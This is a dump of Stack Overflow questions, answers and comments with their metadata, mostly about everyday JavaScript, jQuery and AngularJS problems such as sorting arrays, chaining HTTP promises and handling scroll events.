has answer: http://stackoverflow.com/a/25672517
tagged with: imagemap
score: -1
has comment: http://stackoverflow.com/comment/40118621
has comment: http://stackoverflow.com/comment/40119009
upvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25672517
has body: I am using getJSON to get a JSON file and then build the image map hotspots based on the data retrieved. This is being used in a seating chart application where the station numbers stay the same, but the name of the individuals always change. After I get the data I loop trough it and create the image hotspots like this (I am using # as a place holder for the href for now). $('#maphall').append('&lt; area class="'+ val.class + '" shape="'+val.shape+'" href="'+val.href+'" id = "'+ val.id+'" coords='+val.coords+' /&gt;'); When I look at the generated code in FireFox I see: &amp;lt; area class="room" shape="rect" href="#" id = "2B" coords="160,56,279,109" /&amp;gt; How do I get the &lt; and > to appear instead of &amp;lt; and &amp;gt; ?
has title: jquery append function converting < > to entity name
tagged with: append
favorite count: 0
downvote count: 1
type: Question

http://stackoverflow.com/q/25661941
answer count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/40185028
type: Question
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40203223
has body: I have two entities: Student and Info and they linked by a @ManytoOne relationship. The entity Info is used to handle file upload and store upload file in database. I m able to save file path in database.but Not With Student_id. i want to save file with student id. and show the uploaded file with in table format.Any example suggestions are appreciated. I m new to web development.thanks Two Model entities linked by a @ManytoOne relationship. Model Info is as follows. package models; @Entity public class Info extends Model { public static Info findById(Long id) { return find.byId(id); } @Id public Long id; public String picture; @ManyToOne(cascade = CascadeType.PERSIST) private Student student; public static Model.Finder&lt;Long, Info&gt; find = new Model.Finder&lt;Long, Info&gt;(Long.class, Info.class); public Info(){ // Left empty } public Info(Student student ,Long id){ this.customer=customer; this.id=id; } public String toString() { return String.format("%s" ,id); } public void setPicture(String picture) { this.picture = picture; } public Long getId() { return id; } public void setId(Long id) { this.id = id; } public Student getStudent() { return student; } public void setStudent(Student student) { this.student = student; } public String getPicture() { return picture; } } another student model package models; @Entity public class Info extends Model{ private static List&lt;Info&gt; products; @Id public Long id; public String name; @OneToMany(mappedBy="student") private List&lt;Info&gt; info; public static Finder&lt;Long, Student&gt; find = new Finder&lt;Long, Student&gt;(Long.class, Student.class); public Student() { } public Student(String btn){ this.btn = btn; this.info = new ArrayList&lt;Info&gt;(); } public String toString() { return String.format("%s - %s" ,id, business_address); } public static Student findById(Long id) { return find.where().eq("id", id).findUnique(); } public List&lt;Info&gt; getInfo() { return info; } public void setInfo(List&lt;Info&gt; in…
has title: File upload with @ManyToOne relationship in play framework
type: UnansweredQuestion
tagged with: playframework-2.2

http://stackoverflow.com/q/25570618
upvote count: 1
tagged with: factory
type: AnsweredQuestion
has title: multiple $http with promise using factory, angular
score: 1
has answer: http://stackoverflow.com/a/25570830
has answer: http://stackoverflow.com/a/25570761
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/39934621
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25570761
favorite count: 0
tagged with: angularjs
answer count: 3
accepted answer: http://stackoverflow.com/a/25570830
has answer: http://stackoverflow.com/a/25570890
has body: I am attempting to call multiple $http request in a factory which I Am using to flush out multiple inputs with data and set default selections. I Want to then call a promise once all 3 of these are done to call in the real form data (if there is any, sometimes there will not be in which case it will do nothing) to overwrite the defaults in place. So here is my attempt at this - the factory I set up a factory to call all 3 inputs and their defaults (I am being sent them individually, i cannot change this for now). It looks like this: .factory("getDefaults", function() { return { instructions: function() { $http({ method: "GET", url: "/getStringDropdown/materials" }) .success(function(data, status, headers, config){ $scope.instructions.materials = data.text; }); $http({ method: "GET", url: "/getStringDropdown/reinforce" }) .success(function(data, status, headers, config){ $scope.reinforce = data.options; $scope.instructions.reinforce = $scope.reinforce[data.default]; }); $http({ method: "GET", url: "/getStringDropdown/procedure" }) .success(function(data, status, headers, config){ $scope.procedures = data.options; $scope.instructions.procedures = $scope.procedures[data.default]; }); //return data here? } }; }) My question here is - do i have to return the data here? And also can I define the scopes here that are being used (as apposed to in the actual controller). I'm pretty sure this is wrong but I cant' find a good example of how to structure something like this properly. The call in the contoller So i the controller my thinking is i would then try something like this - getDefaults.instructions().then(function(){ //possible return data here //AFTER data is flushed out call farm data $http({ method: "GET", url: "/getSavedFormData/formID" }) .success(function(data, status, headers, config){ $scope.instructions.materials= data.materials; $scope.instructions.procedures = $scope.procedures[data.procedure]; $scope.instructions.reinforce = $scope.reinfoce[data.reinforcemen…

http://stackoverflow.com/q/25572405
has comment: http://stackoverflow.com/comment/39938154
score: -2
tagged with: javascript
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/39938145
favorite count: 0
has title: want to sort array in javascript
has body: I have an array in javascript like this: var array=[-2,+4,-1,+3,+6,0,+1,-5,+2,-3,+5,-4,-6] now I want to sort this array to [-6,-5,-4,-3,-2,-1,0,+1,+2,+3,+4,+5,+6] can anyone help me please?
has comment: http://stackoverflow.com/comment/39938171
has comment: http://stackoverflow.com/comment/39938155
downvote count: 2
has comment: http://stackoverflow.com/comment/39938136
has answer: http://stackoverflow.com/a/25572453
accepted answer: http://stackoverflow.com/a/25572453
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/40052459
comment on: http://stackoverflow.com/q/25634572
score: 0
type: Comment
type: QuestionComment
has text: Check this http://stackoverflow.com/questions/14807832/javascript-simple-regex-to-find-root-domain to match domain, your code does not work.

http://stackoverflow.com/comment/40059695
type: QuestionComment
has text: And now check here: http://www.worldtimeserver.com/calendar.aspx?y=1494 It says it was Sunday.
comment on: http://stackoverflow.com/q/25638774
score: 0
type: Comment

http://stackoverflow.com/comment/40209384
type: AnswerComment
comment on: http://stackoverflow.com/a/25663386
score: 0
type: Comment
has text: It doesnt work, because we overlap styles by html object in the legend formatter. You can catch [legendItemClick](http://api.highcharts.com/highstock#plotOptions.series.events.legendItemClick) and update your span with series name.

http://stackoverflow.com/comment/40133648
type: QuestionComment
comment on: http://stackoverflow.com/q/25679024
has text: You won't be able to disable the native behavior/look. Instead create the dropdown using a CSS Framework such as bootstrap, foundation or jQuery Mobile or UI since you're already use this JS library.
score: 0
type: Comment

http://stackoverflow.com/comment/39983954
comment on: http://stackoverflow.com/q/25597364
type: Comment
type: QuestionComment
has text: `$(window).on('load resize', wow_delay);` I'm assuming that "page load" is the window's load event and not document ready.
score: 1

http://stackoverflow.com/a/25639310
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40060199
answers question: http://stackoverflow.com/q/25639181
has body: var value = $("#text").val(); // value = 9.61 use $("#text").text() if you are not on select box... value = value.replace(".", ":"); // value = 9:61 // can then use it as $("#anothertext").val(value);
downvote count: 0
has comment: http://stackoverflow.com/comment/40060232

http://stackoverflow.com/a/25644530
downvote count: 0
has comment: http://stackoverflow.com/comment/40069617
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/63414881
accepted answer of: http://stackoverflow.com/q/25644263
has body: Assuming you want them sorted in ascending date order: var json = { "09/03/14": "63.7", "09/02/14": "67.4", "09/01/14": "67.4", "08/29/14": "67.4", "08/28/14": "69.4", "08/27/14": "69.4", "08/26/14": "178", "08/25/14": "16.8", "08/22/14": "" } var arr = []; for (d in json) { arr.push({ date: new Date(d), d: d, v: json[d] }); } arr.sort(function (a, b) { if (a.date &lt; b.date) { return -1; } if (a.date &gt; b.date) { return 1; } return 0; }); json = {}; for (var i = 0; i &lt; 5; i++) { json[arr[i].d] = arr[i].v; } console.log(json); To sort in descending order swap the return values from the sort function. Also note that that's not really JSON, it's a javascript object literal. Fiddle: http://jsfiddle.net/ccjzzfcr/2/
answers question: http://stackoverflow.com/q/25644263
has comment: http://stackoverflow.com/comment/40069896
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/40114453
type: QuestionComment
score: 1
has text: *"can i create custom confirm box in pure javascript (without using jquery)"*: Yes. *"work same as window.confirm?"*: No.
type: Comment
comment on: http://stackoverflow.com/q/25669026

http://stackoverflow.com/comment/40204778
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25716066
type: Comment
has text: I am using SQL querys to get the necessary data, I have sorted it by names and groupped(because of full duplicates) in JS, but this code do not working.

http://stackoverflow.com/comment/40008555
has text: This is absolutely brilliant, spot on : this was indeed a probleme of use of the right listener ! Maybe it's off topic, but if you don't know Drupal, how could you possibly know (not guess, i have to much respect for you right now :D ) that the problem was about the addmarker listener, and more important : i could NOT access the marker object BUT in the console it was AVAILABLE, with all the right values. How would you correlate these two facts, and your genius idea to use the addlistener. I'm willing to learn how to debug this kind of headache problem. Thanks anyways.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25610524

http://stackoverflow.com/comment/40007704
score: 0
type: Comment
type: QuestionComment
has text: I'm going to use a media query too, but this id is being used with other Javascript functions to display the menu on hover.
comment on: http://stackoverflow.com/q/25609642

http://stackoverflow.com/a/25612035
accepted answer of: http://stackoverflow.com/q/25612008
has comment: http://stackoverflow.com/comment/40011742
answers question: http://stackoverflow.com/q/25612008
has body: Wrap your JavaScript in $(document).ready( function() { /* JS here */ }); It then applies when the page is renderd. http://api.jquery.com/ready/
has comment: http://stackoverflow.com/comment/40011027
type: AcceptedAnswer
upvote count: 5
downvote count: 0
score: 5
type: Answer

http://stackoverflow.com/comment/40172155
comment on: http://stackoverflow.com/q/25700929
type: Comment
type: QuestionComment
has text: it appears you're producing duplicated ids, remember that ids must be unique!
score: 1

http://stackoverflow.com/q/25573168
has title: How to wait for a button to complete its task then execute the next line of code
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25573258
score: 0
has body: I have a button as follows that I programmatically click. document.getElementById("generateButton").click(); This button creates a table and loads the data from the database. I then have options to sort the table that if specified in the url, the table will be sorted once loaded. if(COL_ONE == "true") sortTable("COL_ONE"); My problem is that the table takes around 3 seconds to load. Therefore, the if statement where the sorting happens, ends up running before the table is created. Therefore, the sorting does not occur. If I place a break point at the if statement and stop execution at the if statement, and wait until I see the table load, then run the if statement (through the debugger) then my sorting does work. Therefore, the code is all working, its just a matter of figuring out a way to stall until the table is loaded. Is there anyway I can do this, where until the table is loaded, then run the next if statement, I am doing this on page load.
answer count: 3
linked to: http://stackoverflow.com/q/3185515
has comment: http://stackoverflow.com/comment/39939610
has answer: http://stackoverflow.com/a/25573252
accepted answer: http://stackoverflow.com/a/25573252
type: Question
has answer: http://stackoverflow.com/a/25573258
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25573753

http://stackoverflow.com/comment/41089055
comment on: http://stackoverflow.com/a/26144988
type: AnswerComment
score: 0
type: Comment
has text: Setting `showBackButton` to false will stop showing back button in all cases right? I want it to be shown. Just either disable the history (and open main tab view on first click) Or show back button properly placed. See [here](https://github.com/driftyco/ionic/issues/2129), its been accepted as a bug and pending resolution. I'll try to work on it when I can.

http://stackoverflow.com/a/74554527
has body: I noticed the OP tried using FormData in one of their iterations to solve the original problem. I've recently started using the Fetch api for sending form data. It's designed with promises making it really easy to use (especially if there's a form to leverage for all of the inputs): var form = document.forms[0]; var data = new FormData(form); fetch(form.action, { method: form.method, body: data }) .then((response) =&gt; { // handle response }).catch((error) =&gt; { // handle error ); https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/25695778
type: Answer
score: 2

http://stackoverflow.com/comment/40100578
type: Comment
comment on: http://stackoverflow.com/a/25562453
score: 0
type: AnswerComment
has text: @hex49D49 got it! And oh, I have another question. I hope you can help with that. Here http://stackoverflow.com/questions/25661543/how-to-know-if-browser-tab-is-already-open-using-javascript sorry I have lot of questions

http://stackoverflow.com/q/25583976
has comment: http://stackoverflow.com/comment/39959285
tagged with: http://stackoverflow.com/tag/json
has title: How to store a SQL result in a JavaScript array, using AJAX and JSON
has comment: http://stackoverflow.com/comment/39959213
score: 0
linked to: http://stackoverflow.com/q/518000
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25584341
accepted answer: http://stackoverflow.com/a/25584341
tagged with: ajax
type: AnsweredQuestion
has body: I want to retrieve a table from an SQL database dynamically into an array using JavaScript. The code below works fine if I use a global JavaScript variable for the array. But I would like to pass the array the data is to be stored in dynamically as well. That is where the problem begins. My source: var getSQL = function (query, array, callback) { var req = new XMLHttpRequest(); req.onreadystatechange = function () { if (req.readyState == 4 && req.status == 200) { callback(req.responseText, array); } }; var param = "?q=" + encodeURIComponent(query); req.open("GET", "sql.php" + param, true); req.send(); } function mycallback (json_expr, t_array) { t_array = JSON.parse(json_expr); } The custom array in which I want to stor ethe result of that request is called my_data: var my_data = []; getSQL('SELECT * FROM users ORDER BY id', my_data, mycallback); // wait some time // then this code gets called via an onclick event alert(my_data[0]['name']); The result is undefined. Why?
type: Question

http://stackoverflow.com/q/25627874
has answer: http://stackoverflow.com/a/25627916
has body: So I've got multiple forms with selects on a page. For each form I want the submit button to have a class of disabled until an option is selected, at which point the button should lose the disabled class (each form must work independently of the others). I can't seem to get this working using Next or Find. Here's my code: <-- FORM ONE --> Available Countries -- Select Country -- Australia Brazil Submit <-- FORM TWO --> Available Countries -- Select Country -- Argentina France Submit -- JS -- $('.available-countries-selector').change(function(){ if($(this).val() !== '0'){ $(this).find('btn-default').removeClass('disabled'); } else { $(this).find('btn-default').addClass('disabled'); } }); Any help would be appreciated
has title: jQuery loop over html, on change, find class, remove it
favorite count: 0
type: UnansweredQuestion
downvote count: 2
answer count: 4
has answer: http://stackoverflow.com/a/25628025
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25627923
tagged with: javascript
tagged with: jquery
score: -1
has answer: http://stackoverflow.com/a/25627969

http://stackoverflow.com/q/25656177
has title: check if element exists when scrolled into view
downvote count: 1
has answer: http://stackoverflow.com/a/25656265
type: Question
score: -1
upvote count: 0
has body: Calling this script in the header of every page. //If something is scrolled into view function isScrolledIntoView(elem) { var docViewTop = jQuery(window).scrollTop(); var docViewBottom = docViewTop + jQuery(window).height(); var elemTop = jQuery(elem).offset().top; var elemBottom = elemTop + jQuery(elem).height(); return ((elemBottom &lt;= docViewBottom) &amp;&amp; (elemTop &gt;= docViewTop)); } What's a better way to write this so that it doesn't break when an element isn't found?
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25656265
tagged with: jquery
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/a/25708324
score: 7
upvote count: 7
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25708317
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25708317
has body: One returns milli seconds, while other returns seconds in float. Python equivalent of javascript timestamp would be. jts = int(time.time()*1000)
type: Answer

http://stackoverflow.com/comment/40142334
score: 1
has text: use `ng-options="key as value for (key, value) in brand"` as suggested. `key: {{select}}` and `value: {{brand[select]}}`.
comment on: http://stackoverflow.com/q/25684809
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40119475
has text: can attach full form screenshot?
comment on: http://stackoverflow.com/q/25671222
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40376990
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25692841
type: AnswerComment
has text: My requirements do not allow me to change client browser security settings. Yeah I am absolutely stuck. however i am looking in FileUpload.js option which has not been very helpful though.

http://stackoverflow.com/a/25578754
has comment: http://stackoverflow.com/comment/39950101
upvote count: 3
has comment: http://stackoverflow.com/comment/39950169
downvote count: 1
answers question: http://stackoverflow.com/q/25578748
type: AcceptedAnswer
type: Answer
has body: You need to reverse the logical operator also if (index != len_league - 1 || $(this).hasClass('highlight') == false){ $(this).delay(250*index).slideUp(550); }
has comment: http://stackoverflow.com/comment/39950644
score: 2
accepted answer of: http://stackoverflow.com/q/25578748

http://stackoverflow.com/q/25589385
accepted answer: http://stackoverflow.com/a/25589529
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/27625397
score: 12
tagged with: twitter-bootstrap
has answer: http://stackoverflow.com/a/27952193
possible better answer: http://stackoverflow.com/a/27625397
has title: How to programmatically check a Bootstrap button group (radio) button
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25589529
tagged with: buttongroup
type: Question
has body: http://jsfiddle.net/rphpbqp9/ false true $('#optionTrue').button('toggle'); I've read more question answers, but none of them works. The button toggle doesn't work, I tried to add/remove "active" class, doesn't have an effect. I'm using 1.10 jQuery and 3.1 Bootstrap. This supposed to be simple, I'm pulling my hair out!
upvote count: 12
tagged with: javascript
tagged with: jquery
answer count: 3

http://stackoverflow.com/a/25675029
type: Answer
has body: $('yourID').hover(function(){ $('targetID').css('targetAttr','attrVal') }); Have you tried something like this?
answers question: http://stackoverflow.com/q/25674933
has comment: http://stackoverflow.com/comment/40125134
score: 0

http://stackoverflow.com/comment/40474824
comment on: http://stackoverflow.com/q/25631212
score: 0
type: Comment
type: QuestionComment
has text: @lavrton a good example of scaling canvas built with Phaser. http://www.davidbrind.co.uk/dinopairsv1.0/index.html

http://stackoverflow.com/q/25662154
type: Question
has comment: http://stackoverflow.com/comment/40102850
answer count: 1
has answer: http://stackoverflow.com/a/25662891
tagged with: javascript
has comment: http://stackoverflow.com/comment/40102657
score: 0
tagged with: facebook-graph-api
has body: I was trying to implement the facebook invite friends facility on our website. I used the following code to achieve the same function inviteFriends() { FB.ui({ method : 'apprequests', message : 'Invite your friends', },send_wall_invitation); } function send_wall_invitation(response) { FB.ui({ method : 'apprequests', message : 'Invite your friends', to : response.to }); } This opens the invite popup where you can select the friends. On clicking done it does not give any errors. But the invite friends notification are only seen on Facebook android application. In web notification no invite requests come. Please let me know if i am doing anything wrong??
type: UnansweredQuestion
tagged with: facebook
has comment: http://stackoverflow.com/comment/40101763
has title: facebook invite friends javascript api sends request only on mobile

http://stackoverflow.com/a/25687450
has comment: http://stackoverflow.com/comment/40470497
has comment: http://stackoverflow.com/comment/40481701
type: Answer
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40481731
has body: location.host is relative to the iframe. Instead, use document.referrer jsFiddle Example When the iframe's HTTP headers are sent, the parent to the iframe is sent as the referrer, therefore using document.referrer will result in the iframe's parent URL Update: Within your iframe, not externally, use jQuery to add the parent url to the form being submitted $('input.parent_url').val(document.referrer);
accepted answer of: http://stackoverflow.com/q/25687300
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25687300

http://stackoverflow.com/comment/40162930
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25695105
has text: `document.location = 'data:text/attachment;,' + document.documentElement.innerHTML;`work near correctly.

http://stackoverflow.com/comment/40032689
type: Comment
has text: Well @Olli1511 if it's an `` tag why not just give it the URL for its "href" and a "target"? Then no JavaScript is needed at all!
type: QuestionComment
comment on: http://stackoverflow.com/q/25623842
score: 0

http://stackoverflow.com/comment/40144889
type: Comment
comment on: http://stackoverflow.com/a/25673383
has text: very true (about the cat) cool was just making sure you were aware (which i now realise you are) :)
type: AnswerComment
score: 0

http://stackoverflow.com/comment/39899219
comment on: http://stackoverflow.com/a/25551910
score: 0
type: Comment
has text: Thanks soooo much, it works! Yay!! Is there a way to display each answer on its own line?
type: AnswerComment

http://stackoverflow.com/comment/39899604
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25552125
has text: See the manual on [`str_getcsv`](http://php.net/str_getcsv); it splits lines on (mostly) commas into arrays. -- Also [`file()`](http://php.net/file) is preferrable over the file_get_contents+explode workaround.

http://stackoverflow.com/q/25623500
has comment: http://stackoverflow.com/comment/40031390
tagged with: javascript
has body: I've put together a little javascript file which uses a clean framework, here's how it's formatted: var functionLibrary = { validateFields:function(inputArray, result) { $.each(inputArray, function(index, listItem) { if (!$.trim($("#" + listItem).val()).length) { return "empty"; } }); } } Here's me passing data to such function and getting an undefined when validating the response: var Validation = functionLibrary.validateFields(['amount', 'ppemail']); console.log(Validation); Why does such function show undefined in the console log when it should be returning empty ?
type: Question
score: 0
answer count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/40031458
linked to: http://stackoverflow.com/q/3820269
has title: jQuery function returns undefined on callback
duplicate of: http://stackoverflow.com/q/3820269
has answer: http://stackoverflow.com/a/25623541
accepted answer: http://stackoverflow.com/a/25623541
type: AnsweredQuestion

http://stackoverflow.com/a/27221379
answers question: http://stackoverflow.com/q/25668231
has body: If you want to use bengro's idea of using a timer to determine when the scroll has ended you could do something like this: angular.module('App').directive('scroll',function(){ var timer = null; return{ scope:{ }, link: function (scope, element) { var stophandler = function() { console.log("scrolling end") } var starthandler = function() { console.log("scrolling start") } angular.element(element).bind('scroll', function () { scope.$apply.bind(scope, starthandler) clearTimeout(timer); timer = setTimeout(function () { scope.$apply.bind(scope, stophandler) }, 1500); }); } }; });
score: 1
has comment: http://stackoverflow.com/comment/91906852
upvote count: 1
has comment: http://stackoverflow.com/comment/91906701
type: Answer
downvote count: 0

http://stackoverflow.com/comment/40160078
type: Comment
has text: `code`.attr("fill", function(d) { console.log(d.Player) return heatmapColor(d.Player)}) The console log is returning the player name just fine...I don't think it can associate it still with that new variable.
type: AnswerComment
comment on: http://stackoverflow.com/a/25692566
score: 0

unroll
tag name: unroll
tags question: http://stackoverflow.com/q/25637863
type: Tag

http://stackoverflow.com/comment/40184331
has text: We are using this popup for P2P video/audio calls, user will have a option for EndCall in the html page to close the popup window. I just want to know is it possible to disable the close window.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25700089

http://stackoverflow.com/comment/40126194
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25675288
type: AnswerComment
has text: This is because Spacebars (Meteor implementation of Handlebars) is something DIFFERENT from JavaScript, your syntax was OK for JS but wrong for the template engine.

http://stackoverflow.com/comment/40157974
type: Comment
has text: @JosephtheDreamer , what you say is true but I needed to get these views, as you can see are very good. Or "best" could exist when need to choose a way. thanks anyway
score: 0
comment on: http://stackoverflow.com/q/25691891
type: QuestionComment

http://stackoverflow.com/q/25620869
favorite count: 0
has body: I have a form with a jQuery slider allowing a price range to be selected. The JavaScript that runs the slider also adds a prefix of the £ symbol to each price. I am trying to remove the £ symbol before the form is submitted, as the price values in the database are only numeric without any currency symbol. I am trying the str_replace function but the code below is not working? &lt;div id="slider"&gt; &lt;input type="text" id="price-min" name="price-min" &lt;?php $price-min = str_replace('£', '', $price-min); ?&gt;&gt; &lt;/input&gt; &lt;input type="text" id="price-max" name="price-max" &lt;?php $price-max = str_replace('£', '', $price-max); ?&gt;&gt; &lt;/input&gt; &lt;/div&gt;
has comment: http://stackoverflow.com/comment/40028127
has comment: http://stackoverflow.com/comment/40026610
has answer: http://stackoverflow.com/a/25621229
has answer: http://stackoverflow.com/a/72599100
answer count: 4
upvote count: 3
type: UnansweredQuestion
tagged with: php
has answer: http://stackoverflow.com/a/25620897
score: 3
has answer: http://stackoverflow.com/a/35107122
type: Question
downvote count: 0
tagged with: javascript
tagged with: jquery
has title: Remove Currency Symbol PHP

http://stackoverflow.com/comment/40052047
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25631212
score: 0
has text: Can you create any jsfiddle?

http://stackoverflow.com/a/25620863
downvote count: 0
type: Answer
has body: I figure it out how to do it using an iframe changed the XUL as follow: and create a javascript function to set html contents: function setupPanel(contents, width, height) { var iframe = document.getElementById("htmlContainer"); iframe.setAttribute("src","data:text/html;charset=utf-8," + escape(contents)); iframe.width = width || 300; //default width=300 iframe.height = height || 300; //default height=300 } and usage: setupPanel(" this is raw HTML. "); document.getElementById('htmlPanel').openPopup(null, "before_start", 0, 0, false, false); thanks for your hints.
has comment: http://stackoverflow.com/comment/40037588
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25618755

http://stackoverflow.com/comment/39907876
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25556486
has text: You cannot protect yourself against this happening client-side; there will always be a way around it. Check it on the server first before storing it in the DB.
score: 1

http://stackoverflow.com/q/25554549
has answer: http://stackoverflow.com/a/25554616
has body: How this carousel works would become a little bit more understandable if I could see these if/else statement written the long way. From what I understand, if/else shorthand goes: isThisTrue? thenDoThis: ifNotDoThis But I get a bit confused when more conditionals get added. Any help would be much appreciated. n.attr("id")=="right"?currentIndex==$("#slider li").size()-1?currentIndex=0:currentIndex++:n.attr("id")=="left"?currentIndex==0?currentIndex=$("#slider li").size()-1:currentIndex--:currentIndex=n.attr("data-position"); SetTheme:function(n){n.hasClass("dark")?($("#logo").addClass("dark"),$("#ips").addClass("dark"),$("#nav").addClass("dark"), $("#but-links").addClass("dark"),$("#but-search").addClass("dark")):n.hasClass("light")&amp;&amp;($("#logo").removeClass("dark"),$("#ips").removeClass("dark"), $("#nav").removeClass("dark"), $("#but-links").removeClass("dark"), $("#but-search").removeClass("dark"))}
tagged with: css
has title: Quick translation of JS if/else shorthand?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25554616
has comment: http://stackoverflow.com/comment/39904187
type: Question
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39904254
score: 0
answer count: 1

http://stackoverflow.com/comment/40146374
type: Comment
type: QuestionComment
has text: Yes i know, this is the reason for my question, that have any idea for something that run in client side... but okay so i must chose applet? or something desktop application that get this command from browser and do that i want...
score: 0
comment on: http://stackoverflow.com/q/25684647

http://stackoverflow.com/comment/40178086
type: QuestionComment
has text: any idea on how to do that? do I have to use a library?
type: Comment
comment on: http://stackoverflow.com/q/25704045
score: 0

http://stackoverflow.com/q/25583832
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25583888
has title: What's wrong with my syntax
has comment: http://stackoverflow.com/comment/39958988
has comment: http://stackoverflow.com/comment/39958946
downvote count: 1
type: Question
tagged with: javascript
score: -1
accepted answer: http://stackoverflow.com/a/25583888
answer count: 2
upvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/39958959
has body: I'm getting "undefined is not a function" at line 40, I'm guessing it's syntax but need some help. I recently converted the array to an object and I don't think i'm calling it properly any help is greatly appreciated, thank you http://pastebin.com/423S1tRe
possible better answer: http://stackoverflow.com/a/25583877
has answer: http://stackoverflow.com/a/25583877

http://stackoverflow.com/a/25645214
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25644068
upvote count: 2
answers question: http://stackoverflow.com/q/25644068
score: 2
has body: Although I had expected the error message to be something like undefined is not a constructor, it looks as if the line return new RSVP.promise(function(resolve,reject) { should rather be return new RSVP.Promise(function(resolve,reject) { // ^ Notice that @SLaks spotted a mistake as well: then takes callback functions. You probably want to use opChown().then(opChgrp)…
has comment: http://stackoverflow.com/comment/40070864
type: AcceptedAnswer

http://stackoverflow.com/comment/40145709
type: Comment
type: QuestionComment
has text: [Is it done via JSDoc comments?](http://www.jetbrains.com/webstorm/webhelp/creating-jsdoc-comments.html)
score: 0
comment on: http://stackoverflow.com/q/25686721

http://stackoverflow.com/q/25577629
downvote count: 0
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25577662
tagged with: http://stackoverflow.com/tag/html
has body: I am working in JavaScript / jQuery (1.3.2) and have two functions: open() and close() The functions need to be called when based on a predefined point on the page which we wil call posY. The open function needs to be triggered once the user scrolls below posY and the close function needs to be triggered once the person scrolls above posY again. This is pretty easily done using the jQuery scroll feature. My issue is that I only want the functions to be triggered ONCE - Open needs to be triggered ONE TIME on entering and Close needs to be triggered ONE TIME on exiting. I have been trying for ages now, with different solutions that get more and more complicated than I thing it needs to be. Hopefully I'm being an idiot, missing a really simple solution. For this project I cannot use any jQuery features above 1.3.2 and I want to avoid adding any external plugins if it can be avoided. Thanks in advance! edit: I got asked to add some example code. This is the code I found on a different post on Stackoverflow, that I based my experiments on - I tried to stop it from triggering constantly by monitoring a variable, but it got a bit too complicated for me. : $(window).on('scroll', function() { var y_scroll_pos = window.pageYOffset; var scroll_pos_test = 150; // set to whatever you want it to be if(y_scroll_pos &gt; scroll_pos_test) { //do stuff } });
favorite count: 0
upvote count: 2
has title: jQuery Scroll - Triggering a function ONCE when entering/exiting a scroll region
tagged with: scroll
accepted answer: http://stackoverflow.com/a/25577662
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/25577660
has comment: http://stackoverflow.com/comment/39947991
type: Question
possible better answer: http://stackoverflow.com/a/25577660
answer count: 2
has comment: http://stackoverflow.com/comment/39948079

http://stackoverflow.com/q/25631918
has title: Getting elements from array by class
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/40047432
tagged with: jquery
favorite count: 0
type: Question
has body: I have a list of list items that i get like this: var searchResultItems = $(resultContainerId + ' li'); The search result items can have different classes. How can i get all items of a certain class from the searchResultItems? Im looking for something like: var highPriorityItems = searchResultItems.find('.highPriority'); I know find() does not work in this situation because it goes through child elements. I am hoping there is something similar what im looking for.
has answer: http://stackoverflow.com/a/25632109
has comment: http://stackoverflow.com/comment/40047717
downvote count: 3
answer count: 1
has comment: http://stackoverflow.com/comment/40047797
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25632109
score: -3

http://stackoverflow.com/comment/40084959
type: Comment
comment on: http://stackoverflow.com/a/25652772
has text: ssnobody: Oh right :) I really need some sleep... sorry! jstice4all: I'll try that first thing tomorrow morning! thx
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39903386
type: Comment
has text: maybe dystroy has a fear of -. It is the same either way.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25554151

http://stackoverflow.com/q/25700215
favorite count: 0
has comment: http://stackoverflow.com/comment/40171047
type: AnsweredQuestion
has title: undefined function when calling javascript prototype method
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25700342
linked to: http://stackoverflow.com/q/572897
has comment: http://stackoverflow.com/comment/40171005
tagged with: javascript
